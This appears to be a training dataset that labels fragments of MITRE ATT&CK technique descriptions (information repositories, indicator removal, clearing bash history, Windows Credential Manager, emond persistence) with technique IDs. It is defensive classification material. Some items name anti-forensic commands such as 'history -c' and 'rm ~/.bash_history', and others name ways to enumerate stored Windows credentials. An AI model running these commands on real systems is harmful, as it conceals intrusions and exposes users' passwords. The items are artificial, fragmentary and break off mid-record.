through a web application or command-line utilities such as git.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users typically interact with code repositories through a web application or command-line utilities such as git. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:**", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage the SharePoint repository as a source to mine valuable information.", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage the SharePoint repository as a source to mine valuable information. ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems.", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n*", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Policies, procedures, and standards\n* Physical / logical network diagrams\n*", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Policies, procedures, and standards\n* Physical / logical network diagrams\n* ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n*", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Source code snippets\n* Links to network shares and other internal resources", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Source code snippets\n* Links to network shares and other internal resources ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage Confluence repositories to mine valuable information.", "output": "T1213.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage Confluence repositories to mine valuable information. ### Response: T1213.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n*", "output": "T1213.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* ### Response: T1213.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n*", "output": "T1213.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* ### Response: T1213.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Source code snippets\n* Links to network shares and other internal resources", "output": "T1213.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Source code snippets\n* Links to network shares and other internal resources ### Response: T1213.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage information repositories to mine valuable information.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage information repositories to mine valuable information. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Policies, procedures, and standards\n* Physical / logical network diagrams\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Policies, procedures, and standards\n* Physical / logical network diagrams\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity.", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112),", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm)", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation:", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos - Cisco Attack 2022)", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos - Cisco Attack 2022) ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation:", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NCC Group Team9 June 2020)", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NCC Group Team9 June 2020) ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", "output": "T1146", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. ### Response: T1146."}{"instruction": "List the MITRE techniques contained in the text.", "input": "macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done.", "output": "T1146", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. ### Response: T1146."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These logs can be accessed in a few different ways.", "output": "T1146", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These logs can be accessed in a few different ways. ### Response: T1146."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>.", "output": "T1146", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. ### Response: T1146."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>.", "output": "T1146", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. ### Response: T1146."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The benefit of this is that it allows users to go back to commands they've used before in different sessions.", "output": "T1146", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The benefit of this is that it allows users to go back to commands they've used before in different sessions. ### Response: T1146."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since everything typed on the command-line is saved, passwords passed in on the command line are also saved.", "output": "T1146", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. ### Response: T1146."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse this by searching these files for cleartext passwords.", "output": "T1146", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse this by searching these files for cleartext passwords. ### Response: T1146."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.", "output": "T1146", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>. ### Response: T1146."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for common password storage locations to obtain user credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for common password storage locations to obtain user credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once credentials are obtained, they can be used to perform lateral movement and access restricted information. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire credentials from the Windows Credential Manager.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire credentials from the Windows Credential Manager. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker) ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Credential Manager separates website credentials from application or network credentials in two lockers.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Credential Manager separates website credentials from application or network credentials in two lockers. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Application and network credentials are stored in the Windows Credentials locker.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Application and network credentials are stored in the Windows Credentials locker. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation:", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malwarebytes The Windows Vault)", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malwarebytes The Windows Vault) ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation:", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also obtain credentials from credential backups.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also obtain credentials from credential backups. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation:", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malwarebytes The Windows Vault)", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malwarebytes The Windows Vault) ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers.", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action.", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The rule files are in the plist format and define the name, event type, and action to take.", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The rule files are in the plist format and define the name, event type, and action to take. ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some examples of event types include system startup and user authentication.", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some examples of event types include system startup and user authentication. ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of actions are to run a system command or send an email.", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of actions are to run a system command or send an email. ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation:", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 